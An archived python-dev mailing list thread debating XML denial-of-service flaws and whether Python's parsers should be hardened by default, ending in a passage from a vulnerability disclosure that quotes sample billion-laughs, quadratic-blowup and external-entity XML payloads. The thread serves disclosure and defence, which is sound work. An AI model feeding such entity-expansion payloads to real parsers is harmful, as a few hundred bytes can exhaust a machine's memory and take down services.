On Wed, 20 Feb 2013 18:21:22 -0500 Donald Stufft donald.stu...@gmail.com wrote: On Wednesday, February 20, 2013 at 6:08 PM, Antoine Pitrou wrote: It's not a distributed DoS issue, it's a severe DoS vulnerabilities. A single 1 kB XML document can kill virtually any machine, even servers with more than hundred GB RAM. Assuming an attacker can inject arbitrary XML. Not every XML document is loaded from the Internet. Even documents not loaded from the internet can be at risk. Often times security breaches are the result of a chain of actions. You can say I'm not loading this XML from the internet, so therefore I am safe but then you have another flaw (for example) where you unpack a zip file without verifying there are not absolute paths and suddenly your xml file has been replaces with a malicious one. Assuming your ZIP file is coming from the untrusted Internet, indeed. Again, this is the same assumption that you are grabbing some important data from someone you can't trust. Just because you are living in a Web-centric world doesn't mean everyone does. There are a lot of use cases which are not impacted by your security rules. Bugfix releases shouldn't break those use cases, which means the security features should be mostly opt-in for 2.7 and 3.3. Regards Antoine. ___ Python-Dev mailing list Python-Dev@python.org http://mail.python.org/mailman/listinfo/python-dev Unsubscribe: http://mail.python.org/mailman/options/python-dev/archive%40mail-archive.com
Re: [Python-Dev] XML DoS vulnerabilities and exploits in Python
On Wednesday, February 20, 2013 at 6:23 PM, Christian Heimes wrote: We can add a function to the XML package tree that enables all restrictions: * limit expansion depths of nested entities * limit total amount of expanded chars * disable external entity expansion * optionally force expat to ignore and reset all DTD information 3rd party users have to disable secure settings explicitly for the current interpreter (although expat limits are process wide and shared across subinterpreters). try: import xml.security except ImportError: # old Python pass else: xml.security.harden_xml_parser() We've learned nothing from Ruby and their YAML problems. Things need to be safe by default and the unsafe things explicitly enabled. Even *smart* developers do things wrong (e.g. YAML.load instead of YAML.safe_load) and protecting developers by default should be the path forward. ___ Python-Dev mailing list Python-Dev@python.org http://mail.python.org/mailman/listinfo/python-dev Unsubscribe: http://mail.python.org/mailman/options/python-dev/archive%40mail-archive.com
Re: [Python-Dev] XML DoS vulnerabilities and exploits in Python
On Feb 20, 2013, at 6:22 PM, Antoine Pitrou solip...@pitrou.net wrote: On Wed, 20 Feb 2013 18:21:22 -0500 Donald Stufft donald.stu...@gmail.com wrote: On Wednesday, February 20, 2013 at 6:08 PM, Antoine Pitrou wrote: It's not a distributed DoS issue, it's a severe DoS vulnerabilities. A single 1 kB XML document can kill virtually any machine, even servers with more than hundred GB RAM. Assuming an attacker can inject arbitrary XML. Not every XML document is loaded from the Internet. Even documents not loaded from the internet can be at risk. Often times security breaches are the result of a chain of actions. You can say I'm not loading this XML from the internet, so therefore I am safe but then you have another flaw (for example) where you unpack a zip file without verifying there are not absolute paths and suddenly your xml file has been replaces with a malicious one. Assuming your ZIP file is coming from the untrusted Internet, indeed. Again, this is the same assumption that you are grabbing some important data from someone you can't trust. Just because you are living in a Web-centric world doesn't mean everyone does. There are a lot of use cases which are not impacted by your security rules. Bugfix releases shouldn't break those use cases, which means the security features should be mostly opt-in for 2.7 and 3.3. Regards Antoine. Any type of input is a potential attack vector; this isn't web centric, it's a systemic flaw in the spec that allows any application that's loading XML to be bombed into oblivion. People need to trust that the standard library is reliable and sane-by-default. What we have right now isn't ___ Python-Dev mailing list Python-Dev@python.org http://mail.python.org/mailman/listinfo/python-dev Unsubscribe: http://mail.python.org/mailman/options/python-dev/jnoller%40gmail.com ___ Python-Dev mailing list Python-Dev@python.org http://mail.python.org/mailman/listinfo/python-dev Unsubscribe: http://mail.python.org/mailman/options/python-dev/archive%40mail-archive.com
Re: [Python-Dev] XML DoS vulnerabilities and exploits in Python
-BEGIN PGP SIGNED MESSAGE- Hash: SHA1 On 02/20/2013 06:22 PM, Antoine Pitrou wrote: On Wed, 20 Feb 2013 18:21:22 -0500 Donald Stufft donald.stu...@gmail.com wrote: On Wednesday, February 20, 2013 at 6:08 PM, Antoine Pitrou wrote: It's not a distributed DoS issue, it's a severe DoS vulnerabilities. A single 1 kB XML document can kill virtually any machine, even servers with more than hundred GB RAM. Assuming an attacker can inject arbitrary XML. Not every XML document is loaded from the Internet. Even documents not loaded from the internet can be at risk. Often times security breaches are the result of a chain of actions. You can say I'm not loading this XML from the internet, so therefore I am safe but then you have another flaw (for example) where you unpack a zip file without verifying there are not absolute paths and suddenly your xml file has been replaces with a malicious one. Assuming your ZIP file is coming from the untrusted Internet, indeed. Again, this is the same assumption that you are grabbing some important data from someone you can't trust. Just because you are living in a Web-centric world doesn't mean everyone does. There are a lot of use cases which are not impacted by your security rules. Bugfix releases shouldn't break those use cases, which means the security features should be mostly opt-in for 2.7 and 3.3. Two words: hash randomization. If it applies to one, it applies to the other. Tres. - -- === Tres Seaver +1 540-429-0999 tsea...@palladion.com Palladion Software Excellence by Designhttp://palladion.com -BEGIN PGP SIGNATURE- Version: GnuPG v1.4.11 (GNU/Linux) Comment: Using GnuPG with undefined - http://www.enigmail.net/ iEYEARECAAYFAlElYScACgkQ+gerLs4ltQ4QgwCfctL8/FmnboJWozyPcSE1xbb2 wwIAoNVc2hoQci9G2M6g/keNNsN5RR0O =Q9IX -END PGP SIGNATURE- ___ Python-Dev mailing list Python-Dev@python.org http://mail.python.org/mailman/listinfo/python-dev Unsubscribe: http://mail.python.org/mailman/options/python-dev/archive%40mail-archive.com
Re: [Python-Dev] XML DoS vulnerabilities and exploits in Python
On Wednesday, February 20, 2013 at 6:22 PM, Antoine Pitrou wrote: On Wed, 20 Feb 2013 18:21:22 -0500 Donald Stufft donald.stu...@gmail.com (mailto:donald.stu...@gmail.com) wrote: On Wednesday, February 20, 2013 at 6:08 PM, Antoine Pitrou wrote: It's not a distributed DoS issue, it's a severe DoS vulnerabilities. A single 1 kB XML document can kill virtually any machine, even servers with more than hundred GB RAM. Assuming an attacker can inject arbitrary XML. Not every XML document is loaded from the Internet. Even documents not loaded from the internet can be at risk. Often times security breaches are the result of a chain of actions. You can say I'm not loading this XML from the internet, so therefore I am safe but then you have another flaw (for example) where you unpack a zip file without verifying there are not absolute paths and suddenly your xml file has been replaces with a malicious one. Assuming your ZIP file is coming from the untrusted Internet, indeed. Again, this is the same assumption that you are grabbing some important data from someone you can't trust. No software you run on your computer grabs data from someone you don't trust and it all validates that even though you trust them they haven't been exploited? Like I said these sort of things are often caused by chaining several unrelated things together. Just because you are living in a Web-centric world doesn't mean everyone does. There are a lot of use cases which are not impacted by your security rules. Bugfix releases shouldn't break those use cases, which means the security features should be mostly opt-in for 2.7 and 3.3. Regards Antoine. ___ Python-Dev mailing list Python-Dev@python.org (mailto:Python-Dev@python.org) http://mail.python.org/mailman/listinfo/python-dev Unsubscribe: http://mail.python.org/mailman/options/python-dev/donald.stufft%40gmail.com ___ Python-Dev mailing list Python-Dev@python.org http://mail.python.org/mailman/listinfo/python-dev Unsubscribe: http://mail.python.org/mailman/options/python-dev/archive%40mail-archive.com
Re: [Python-Dev] XML DoS vulnerabilities and exploits in Python
On 21/02/13 10:22, Antoine Pitrou wrote: On Wed, 20 Feb 2013 18:21:22 -0500 Donald Stufftdonald.stu...@gmail.com wrote: On Wednesday, February 20, 2013 at 6:08 PM, Antoine Pitrou wrote: It's not a distributed DoS issue, it's a severe DoS vulnerabilities. A single 1 kB XML document can kill virtually any machine, even servers with more than hundred GB RAM. Assuming an attacker can inject arbitrary XML. Not every XML document is loaded from the Internet. Even documents not loaded from the internet can be at risk. Often times security breaches are the result of a chain of actions. You can say I'm not loading this XML from the internet, so therefore I am safe but then you have another flaw (for example) where you unpack a zip file without verifying there are not absolute paths and suddenly your xml file has been replaces with a malicious one. Assuming your ZIP file is coming from the untrusted Internet, indeed. Again, this is the same assumption that you are grabbing some important data from someone you can't trust. It's easy to forget that malware existed long before the Internet. The internet is just a transmission vector, it is not the source of malicious files. The source of malicious files is *other people*, and unless you never use XML files you didn't generate yourself, you cannot completely trust the source. You might trust your colleagues to not *intentionally* pass you a malicious XML file, but they may still do so accidentally. The risk seems small, these days, but remember that for decades the sole transmission vector for viruses and other malware was *people you trusted* not to deliberately give you a virus. Just because you are living in a Web-centric world doesn't mean everyone does. There are a lot of use cases which are not impacted by your security rules. Bugfix releases shouldn't break those use cases, which means the security features should be mostly opt-in for 2.7 and 3.3. I think that is reasonable. Insecure by default or not, code should not suddenly stop working because I've upgraded from 2.7.3 to 2.7.4. -- Steven ___ Python-Dev mailing list Python-Dev@python.org http://mail.python.org/mailman/listinfo/python-dev Unsubscribe: http://mail.python.org/mailman/options/python-dev/archive%40mail-archive.com
Re: [Python-Dev] XML DoS vulnerabilities and exploits in Python
On Thu, Feb 21, 2013 at 9:49 AM, Tres Seaver tsea...@palladion.com wrote: Two words: hash randomization. If it applies to one, it applies to the other. Agreed. Christian's suggested approach sounds sane to me: - make it possible to enable safer behaviour globally in at least 2.7 and 3.3 (and perhaps in 2.6 and 3.2 security releases as well) - make the safer behaviour the default in 3.4 - make it possible to selectively disable the safeguards in all versions A *possible* alternative in to step 1 is loud warnings in the docs directing people to defusedxml, but I prefer the idea of actually making the safeguards available directly in the standard library. Regards, Nick. -- Nick Coghlan | ncogh...@gmail.com | Brisbane, Australia ___ Python-Dev mailing list Python-Dev@python.org http://mail.python.org/mailman/listinfo/python-dev Unsubscribe: http://mail.python.org/mailman/options/python-dev/archive%40mail-archive.com
Re: [Python-Dev] XML DoS vulnerabilities and exploits in Python
On Wed, Feb 20, 2013 at 7:38 PM, Nick Coghlan ncogh...@gmail.com wrote: Christian's suggested approach sounds sane to me: Definitely. A strong +1 from me, FWIW these days. -Fred -- Fred L. Drake, Jr.fred at fdrake.net A storm broke loose in my mind. --Albert Einstein ___ Python-Dev mailing list Python-Dev@python.org http://mail.python.org/mailman/listinfo/python-dev Unsubscribe: http://mail.python.org/mailman/options/python-dev/archive%40mail-archive.com
Re: [Python-Dev] XML DoS vulnerabilities and exploits in Python
On Feb 21, 2013, at 10:38 AM, Nick Coghlan wrote: - make it possible to enable safer behaviour globally in at least 2.7 and 3.3 (and perhaps in 2.6 and 3.2 security releases as well) I want to be fairly conservative with 2.6.9. -Barry ___ Python-Dev mailing list Python-Dev@python.org http://mail.python.org/mailman/listinfo/python-dev Unsubscribe: http://mail.python.org/mailman/options/python-dev/archive%40mail-archive.com
Re: [Python-Dev] XML DoS vulnerabilities and exploits in Python
-BEGIN PGP SIGNED MESSAGE- Hash: SHA1 On 02/20/2013 09:08 PM, Barry Warsaw wrote: On Feb 21, 2013, at 10:38 AM, Nick Coghlan wrote: - make it possible to enable safer behaviour globally in at least 2.7 and 3.3 (and perhaps in 2.6 and 3.2 security releases as well) I want to be fairly conservative with 2.6.9. I believe that the same rationale should apply as that for adding hash randomization in 2.6.8: this is at least as bad a vulnerability, with many more vectors of attack. Tres - -- === Tres Seaver +1 540-429-0999 tsea...@palladion.com Palladion Software Excellence by Designhttp://palladion.com -BEGIN PGP SIGNATURE- Version: GnuPG v1.4.11 (GNU/Linux) Comment: Using GnuPG with undefined - http://www.enigmail.net/ iEYEARECAAYFAlElo/cACgkQ+gerLs4ltQ4urQCg2Kyr6CKZPp35fAK1G4OtzYc+ XD8An0fJZw5DHRxg1JPe9AzcLqpvRZc5 =hmpM -END PGP SIGNATURE- ___ Python-Dev mailing list Python-Dev@python.org http://mail.python.org/mailman/listinfo/python-dev Unsubscribe: http://mail.python.org/mailman/options/python-dev/archive%40mail-archive.com
Re: [Python-Dev] XML DoS vulnerabilities and exploits in Python
-BEGIN PGP SIGNED MESSAGE- Hash: SHA256 On Feb 20, 2013, at 11:35 PM, Tres Seaver wrote: I believe that the same rationale should apply as that for adding hash randomization in 2.6.8: this is at least as bad a vulnerability, with many more vectors of attack. Except that I really want to EOL 2.6 in October as per schedule, and I really don't want a 2.6.10. So if we get the API changes wrong in 2.6.9 there won't be much of an opportunity to correct it. Also, in 2.6, hash randomization is opt-in so the default didn't change. Cheers, - -Barry -BEGIN PGP SIGNATURE- Version: GnuPG v1.4.12 (GNU/Linux) iQIcBAEBCAAGBQJRJaheAAoJEBJutWOnSwa/A2sQAK0HnPQCG87vEVj7hpfp1h7o 8mVDpf8VyZtfVIhwJLmb106DCe3mWb+UZLf4ks16zSQfy1JVxNl179VESqDgOD30 RTC0/esArDzpVbCOKf0mepyYflQEnrA0FR/URAJVoqjGDlPSPr6vneWX2fOPGwn7 VsgzHzyqHs5k+JLTn9piDKLfW6LXWQOYl+oPF/T60SnYZTs8y6E00n9i2kLPaWy+ UMSnAC3jQMtgfhzPnXgPrlzVh4/ojYYnBVdhZYKGroBx4JGt7UDph1koFck7CRTD yJuVQ4QzsbtEF0/SyJVORWTh2N3jxEA7qWFIDQ8kif+Tqqfz/bujSud8SEK7dLuZ IPinvL2K9lD722RJjhmcMyfsrCJxafF2YbkdWyNr2zMlx6FO/oQWCbDVPBaZlu8+ cZyzF+JJiIM+ljlqL9dy5w156JxfQ5eh5h5ocZ/OiUisiKY93zT9j2hOM82bbo+/ QIWmMf2wPl277awbvw3+9GDi4xdgK0GJB/4BVOYBXy0/b2q2n5oHyHACJCoUtDyv AVCT+Hfw5Nu1ZIm3AU329gFeBPjEvl8+YsbiQf4hqsp40fnY7GzhRFb8HTwCZVmu amOWyeTg9f7dtF/sOwEpc/UGcCjJdBklrbndpNZ0f9gZF+FwncxbJThrTztlxaDY 7eT2EYRJsnLW5XiZTilj =HXz8 -END PGP SIGNATURE- ___ Python-Dev mailing list Python-Dev@python.org http://mail.python.org/mailman/listinfo/python-dev Unsubscribe: http://mail.python.org/mailman/options/python-dev/archive%40mail-archive.com
Re: [Python-Dev] XML DoS vulnerabilities and exploits in Python
Maciej Fijalkowski, 20.02.2013 21:17: On Wed, Feb 20, 2013 at 8:24 PM, Christian Heimes wrote: Am 20.02.2013 17:25, schrieb Benjamin Peterson: Are these going to become patches for Python, too? I'm working on it. The patches need to be discussed as they break backward compatibility and AFAIK XML standards, too. That's not very good. XML parsers are supposed to parse XML according to standards. I think we can shorten this discussion to this is a serious problem that needs to be fixed. If that involves taking the freedom that the XML standard leaves about processing DTDs, then I think we shouldn't be throwing any high-level bike shedding at it. Consulting the standard actually helps. Stefan ___ Python-Dev mailing list Python-Dev@python.org http://mail.python.org/mailman/listinfo/python-dev Unsubscribe: http://mail.python.org/mailman/options/python-dev/archive%40mail-archive.com
Re: [Python-Dev] XML DoS vulnerabilities and exploits in Python
On Wed, 20 Feb 2013 18:45:10 -0500 Donald Stufft donald.stu...@gmail.com wrote: No software you run on your computer grabs data from someone you don't trust and it all validates that even though you trust them they haven't been exploited? What the hell do you mean exactly? There are other reasons to validate data than just security. Like I said these sort of things are often caused by chaining several unrelated things together. At this points this sounds like fear-mongering. Regards Antoine. ___ Python-Dev mailing list Python-Dev@python.org http://mail.python.org/mailman/listinfo/python-dev Unsubscribe: http://mail.python.org/mailman/options/python-dev/archive%40mail-archive.com
Re: [Python-Dev] XML DoS vulnerabilities and exploits in Python
On Thu, 21 Feb 2013 11:37:47 +1100 Steven D'Aprano st...@pearwood.info wrote: It's easy to forget that malware existed long before the Internet. The internet is just a transmission vector, it is not the source of malicious files. The source of malicious files is *other people*, and unless you never use XML files you didn't generate yourself, you cannot completely trust the source. You might trust your colleagues to not *intentionally* pass you a malicious XML file, but they may still do so accidentally. That's in theory very nice, but in practice security in everyday computing hasn't really been a concern before the massification of Internet access. (yes, there have been viruses on mainstream platforms such as the Amiga, but it was pretty minor compared to nowadays, and nobody cared about potential DoS attacks for example) So, as for XML files, we are talking about a DoS vulnerability. It will take more than a single file to make a DoS attack really annoying, which means the attacker must pollute the source of those XML files in a systemic way. It's not a single XML file will smuggle confidential data out of the building. Regards Antoine. ___ Python-Dev mailing list Python-Dev@python.org http://mail.python.org/mailman/listinfo/python-dev Unsubscribe: http://mail.python.org/mailman/options/python-dev/archive%40mail-archive.com
Re: [Python-Dev] XML DoS vulnerabilities and exploits in Python
On Thu, 21 Feb 2013 10:38:07 +1000 Nick Coghlan ncogh...@gmail.com wrote: On Thu, Feb 21, 2013 at 9:49 AM, Tres Seaver tsea...@palladion.com wrote: Two words: hash randomization. If it applies to one, it applies to the other. Agreed. Christian's suggested approach sounds sane to me: - make it possible to enable safer behaviour globally in at least 2.7 and 3.3 (and perhaps in 2.6 and 3.2 security releases as well) - make the safer behaviour the default in 3.4 - make it possible to selectively disable the safeguards in all versions +1 from me. Regards Antoine. ___ Python-Dev mailing list Python-Dev@python.org http://mail.python.org/mailman/listinfo/python-dev Unsubscribe: http://mail.python.org/mailman/options/python-dev/archive%40mail-archive.com
Re: [Python-Dev] XML DoS vulnerabilities and exploits in Python
-BEGIN PGP SIGNED MESSAGE- Hash: SHA1 On 02/21/2013 01:53 AM, Antoine Pitrou wrote: On Thu, 21 Feb 2013 11:37:47 +1100 Steven D'Aprano st...@pearwood.info wrote: It's easy to forget that malware existed long before the Internet. The internet is just a transmission vector, it is not the source of malicious files. The source of malicious files is *other people*, and unless you never use XML files you didn't generate yourself, you cannot completely trust the source. You might trust your colleagues to not *intentionally* pass you a malicious XML file, but they may still do so accidentally. That's in theory very nice, but in practice security in everyday computing hasn't really been a concern before the massification of Internet access. (yes, there have been viruses on mainstream platforms such as the Amiga, but it was pretty minor compared to nowadays, and nobody cared about potential DoS attacks for example) So, as for XML files, we are talking about a DoS vulnerability. It will take more than a single file to make a DoS attack really annoying, which means the attacker must pollute the source of those XML files in a systemic way. It's not a single XML file will smuggle confidential data out of the building. Antoine, A single, small,, malicious XML file can kill a machine (not just the process parsing it) by sucking all available RAM. We are talking hard lockup, reboot-to-fix-it sorts of DOC here. Tres. - -- === Tres Seaver +1 540-429-0999 tsea...@palladion.com Palladion Software Excellence by Designhttp://palladion.com -BEGIN PGP SIGNATURE- Version: GnuPG v1.4.11 (GNU/Linux) Comment: Using GnuPG with undefined - http://www.enigmail.net/ iEYEARECAAYFAlElzMQACgkQ+gerLs4ltQ7fDQCgmvvurNi5VtWA+4mqcz4tpUhR rNUAnRtpcKMFCM3z8qRKNfinAE9ly9fX =y+eM -END PGP SIGNATURE- ___ Python-Dev mailing list Python-Dev@python.org http://mail.python.org/mailman/listinfo/python-dev Unsubscribe: http://mail.python.org/mailman/options/python-dev/archive%40mail-archive.com
Re: [Python-Dev] XML DoS vulnerabilities and exploits in Python
On Thu, 21 Feb 2013 02:29:08 -0500 Tres Seaver tsea...@palladion.com wrote: Antoine, A single, small,, malicious XML file can kill a machine (not just the process parsing it) by sucking all available RAM. We are talking hard lockup, reboot-to-fix-it sorts of DOC here. Sure, but in many instances, rebooting a machine is not business-threatening. You will have a couple of minutes' downtime and that's all. Which is why the attack must be repeated many times to be a major annoyance. Regards Antoine. ___ Python-Dev mailing list Python-Dev@python.org http://mail.python.org/mailman/listinfo/python-dev Unsubscribe: http://mail.python.org/mailman/options/python-dev/archive%40mail-archive.com
[Python-Dev] XML DoS vulnerabilities and exploits in Python
Hello, in August 2012 I found a DoS vulnerability in expat and XML libraries in Python's standard library. Since then I have found several more issues. I have been working on fixes ever since. The README of https://pypi.python.org/pypi/defusedxml contains detailed explanations of my research and all issues Blog post: http://blog.python.org/2013/02/announcing-defusedxml-fixes-for-xml.html Hotfixes: https://pypi.python.org/pypi/defusedxml https://pypi.python.org/pypi/defusedexpat Repositories: https://bitbucket.org/tiran/defusedxml https://bitbucket.org/tiran/defusedexpat https://bitbucket.org/tiran/expat CVE (work in progress) CVE-2013-1664 Unrestricted entity expansion induces DoS vulnerabilities in Python XML libraries (XML bomb) CVE-2013-1665 External entity expansion in Python XML libraries inflicts potential security flaws and DoS vulnerabilities Regards, Christian Extract from the documentation: Synopsis The results of an attack on a vulnerable XML library can be fairly dramatic. With just a few hundred Bytes of XML data an attacker can occupy several Gigabytes of memory within seconds. An attacker can also keep CPUs busy for a long time with a small to medium size request. Under some circumstances it is even possible to access local files on your server, to circumvent a firewall, or to abuse services to rebound attacks to third parties. The attacks use and abuse less common features of XML and its parsers. The majority of developers are unacquainted with features such as processing instructions and entity expansions that XML inherited from SGML. At best they know about !DOCTYPE from experience with HTML but they are not aware that a document type definition (DTD) can generate an HTTP request or load a file from the file system. None of the issues is new. They have been known for a long time. Billion laughs was first reported in 2003. Nevertheless some XML libraries and applications are still vulnerable and even heavy users of XML are surprised by these features. It's hard to say whom to blame for the situation. It's too short sighted to shift all blame on XML parsers and XML libraries for using insecure default settings. After all they properly implement XML specifications. Application developers must not rely that a library is always configured for security and potential harmful data by default. Attack vectors == billion laughs / exponential entity expansion - The Billion Laughs attack -- also known as exponential entity expansion -- uses multiple levels of nested entities. The original example uses 9 levels of 10 expansions in each level to expand the string lol to a string of 3 * 10 9 bytes, hence the name billion laughs. The resulting string occupies 3 GB (2.79 GiB) of memory; intermediate strings require additional memory. Because most parsers don't cache the intermediate step for every expansion it is repeated over and over again. It increases the CPU load even more. An XML document of just a few hundred bytes can disrupt all services on a machine within seconds. Example XML: !DOCTYPE xmlbomb [ !ENTITY a 1234567890 !ENTITY b a;a;a;a;a;a;a;a; !ENTITY c b;b;b;b;b;b;b;b; !ENTITY d c;c;c;c;c;c;c;c; ] bombd;/bomb quadratic blowup entity expansion - A quadratic blowup attack is similar to a Billion Laughs attack; it abuses entity expansion, too. Instead of nested entities it repeats one large entity with a couple of ten thousand chars over and over again. The attack isn't as efficient as the exponential case but it avoids triggering countermeasures of parsers against heavily nested entities. Some parsers limit the depth and breadth of a single entity but not the total amount of expanded text throughout an entire XML document. A medium-sized XML document with a couple of hundred kilobytes can require a couple of hundred MB to several GB of memory. When the attack is combined with some level of nested expansion an attacker is able to achieve a higher ratio of success. !DOCTYPE bomb [ !ENTITY a xxx... a couple of ten thousand chars ] bomba;a;a;... repeat/bomb external entity expansion (remote) -- Entity declarations can contain more than just text for replacement. They can also point to external resources by public identifiers or system identifiers. System identifiers are standard URIs. When the URI is a URL (e.g. a http:// locator) some parsers download the resource from the remote location and embed them into the XML document verbatim. Simple example of a parsed external entity: !DOCTYPE external [ !ENTITY ee SYSTEM http://www.python.org/some.xml; ] rootee;/root The case of parsed external entities works only for valid XML content. The XML standard also supports unparsed external entities with a NData declaration. External entity expansion opens the door to plenty of exploits. An attacker can abuse a vulnerable XML
